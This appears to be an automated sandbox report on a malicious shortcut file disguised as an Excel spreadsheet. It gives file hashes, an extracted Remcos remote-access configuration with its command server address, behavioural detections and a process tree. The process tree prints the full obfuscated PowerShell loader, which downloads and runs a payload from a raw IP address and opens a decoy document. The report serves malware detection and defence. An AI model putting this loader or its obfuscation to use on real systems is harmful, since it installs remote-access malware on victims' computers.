Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
30/08/2024, 10:59
Static task
static1
Behavioral task
behavioral1
Sample
rv_luti_2024_roku.xlsx lnk.lnk
Resource
win7-20240705-en
General
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Target
rv_luti_2024_roku.xlsx lnk.lnk
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Size
32KB
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MD5
0ea3d54cecf6ea4d5e6739ffe9ce4be4
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SHA1
513dca9cb690972319181c4f31ac98dcd80ea895
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SHA256
ddd94d9d25f4ee02343b209e6d345457ef0b3efebccfd9a16b721e1c59a6cb03
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SHA512
33826667e53d5cdb60ccfeb84a309059e20ce5da79d7dde853578fcea99b44d2a92debe4d6da65f463223b48d1b9f510bb0c9c3b26e7fb0b2a5199eb6ead45d2
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SSDEEP
48:88muavUQSSesYOhI3YMEDo/i1xCoXEEDDo/L8A7NZdCZFXuGdZTa7x:88y8EesYeI3hX+xCRZR4uKQ
Malware Config
Extracted
remcos
feetfuck
83.222.191.201:24251
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-XTJ1YO
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 6 2924 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 2000 Newfts.exe 3284 Newfts.exe -
Loads dropped DLL 8 IoCs
pid Process 2000 Newfts.exe 2000 Newfts.exe 2000 Newfts.exe 2000 Newfts.exe 3284 Newfts.exe 3284 Newfts.exe 3284 Newfts.exe 3284 Newfts.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3284 set thread context of 4392 3284 Newfts.exe 98 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4828 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2924 powershell.exe 2924 powershell.exe 2000 Newfts.exe 3284 Newfts.exe 3284 Newfts.exe 4392 cmd.exe 4392 cmd.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 3284 Newfts.exe 4392 cmd.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2924 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4828 EXCEL.EXE 4828 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE 4828 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 1740 wrote to memory of 2924 1740 cmd.exe 84 PID 1740 wrote to memory of 2924 1740 cmd.exe 84 PID 2924 wrote to memory of 2000 2924 powershell.exe 93 PID 2924 wrote to memory of 2000 2924 powershell.exe 93 PID 2924 wrote to memory of 2000 2924 powershell.exe 93 PID 2924 wrote to memory of 4828 2924 powershell.exe 94 PID 2924 wrote to memory of 4828 2924 powershell.exe 94 PID 2924 wrote to memory of 4828 2924 powershell.exe 94 PID 2000 wrote to memory of 3284 2000 Newfts.exe 95 PID 2000 wrote to memory of 3284 2000 Newfts.exe 95 PID 2000 wrote to memory of 3284 2000 Newfts.exe 95 PID 3284 wrote to memory of 4392 3284 Newfts.exe 98 PID 3284 wrote to memory of 4392 3284 Newfts.exe 98 PID 3284 wrote to memory of 4392 3284 Newfts.exe 98 PID 4828 wrote to memory of 3124 4828 EXCEL.EXE 102 PID 4828 wrote to memory of 3124 4828 EXCEL.EXE 102 PID 3284 wrote to memory of 4392 3284 Newfts.exe 98 PID 4392 wrote to memory of 2056 4392 cmd.exe 108 PID 4392 wrote to memory of 2056 4392 cmd.exe 108 PID 4392 wrote to memory of 2056 4392 cmd.exe 108 PID 4392 wrote to memory of 2056 4392 cmd.exe 108 PID 4392 wrote to memory of 2056 4392 cmd.exe 108
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx lnk.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo TeuldrVGQbKMoxomeUoWOqhwvLOxvRa; echo kHymKfRwuZXnxCZJgAfmykUgOsaYlqvqidzuAVdr; echo BzhKUakeDaTwVhpLOdFPPdFVoZgkSjggfDEAGyfrfJLDRccpyaIWIA; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo kUBgvnjkEnVVtBTakWaQxmlPinKUrVTnqYKyBiuNzxKhEEivsinzTrJtp; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo KXIRBZFhgPOZEKacAcLhfiuehKFFEsRDolDsCVbHJSxXKtveGjGXJJi; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo QnvQaCnoZGPZHtQIYplmH; s''t''a''rt rv_luti_2024_roku.xlsx2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exeC:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe6⤵
- System Location Discovery: System Language Discovery
PID:2056
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx"3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122884⤵PID:3124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:4528
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.2MB
MD52b3547bdf3d1ce9b0b43fea02805c041
SHA1f8af4b5ca346b1b5e0e9bf62d50d900130a25174
SHA256392bd6197b19ab0d1cef047489ed76b7e94510be27e86ff77d41616103178943
SHA512ee394bab234cf3233a5ac02a3709c26affc7be2200314f24bd4133d548fa5a5f0be5a5ce99075a57b9d6d8c005425963e94848468f2796e7e608bded959a4f35
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
298B
MD53d74e7487b2d05d2670f7928395e6e35
SHA17b86d784f9f5e503e5e0a9f54bd9f5f2e03ee7dc
SHA256ea0c460472633c06b2998df75c3a78a1e213c223b2df7191fa2e774fe2c7c10f
SHA5127834c8fa0b29539028b5c53681444fa74fed1f5e8fb678a889a96b6d1ce196c38bb77bbedb071a83ba0f1a5e2ddc27d921b5f4ee36fcf586d2e1f1892e41c47d
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD599f31aff0342e3d482a2905a0083f020
SHA126b855089a5501cea02554f3228b235a56a4f5f9
SHA256db2050c84c4fe2ec2f7fa923513b1e1d1686dbb32416b6a702de503e72480634
SHA5126cd3755f2ad7fa68b80e6d1fa2c9d79964e0c112ffd763179a269b94fca74fed07862b53c6cb905a6e9582ecc1a23319b7b3c3cf55d92f285c36c12f65757d75
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD52edf0ffacc1ffea14479b7bac11125de
SHA1593daf60cf03ec5f176b8a4597bbdabcaa3a0e1e
SHA2566bcf6d13da699161b63e0a0ff405890694172688096c4870156f07ede4caeaca
SHA512d10c7a60a1e7e9e1d97f99240aaf3c4fecc6c453d4e3c23584ad1b961da8cdeee933aca7725bf36d1049021d61d1b052d395689919795e13eb37036b9ff211be
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Filesize
2.1MB
MD5db7e67835fce6cf9889f0f68ca9c29a9
SHA15565afda37006a66f0e4546105be60bbe7970616
SHA256dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738
SHA512bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b
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Filesize
1.1MB
MD559c15c71fd599ff745a862d0b8932919
SHA18384f88b4cac4694cf510ca0d3f867fd83cc9e18
SHA256c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2
SHA512be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e
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Filesize
1.4MB
MD56fdb2e9ca6b7a5ad510e2b29831e3bc8
SHA14a14ee9d5660eb271a6b5f18a55ac3e05f952c68
SHA256f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38
SHA512d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06
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Filesize
31KB
MD55dc69a3e2fda6cb740f363ef77edcc13
SHA1c177fabf17346531e07d562be11915bf2822148a
SHA2567c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621
SHA512b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f
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Filesize
1.0MB
MD5471076308d78944d45ab35d37134134a
SHA105cf2cf6e5d11ce10425b14d68cda3246cc47263
SHA25638d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b
SHA5127f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3
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Filesize
32KB
MD521046015d5d9ef5e536ac7643b1ab365
SHA1f3bcd22d8e9b5ad1c2e17b42d5684421b2ddfb05
SHA2567a94cedcc9624dbe8eb4ad818fbaf2a53f9ca0fe2ff28b3000a597e034b520bd
SHA512d63030de97a378e9bb73ce53f589c75f1da9e6fb3998da02680a9396b75ebf6773119d61e5663c007379c85413a8d023e1df2323038314d357ac64bd770b9c9e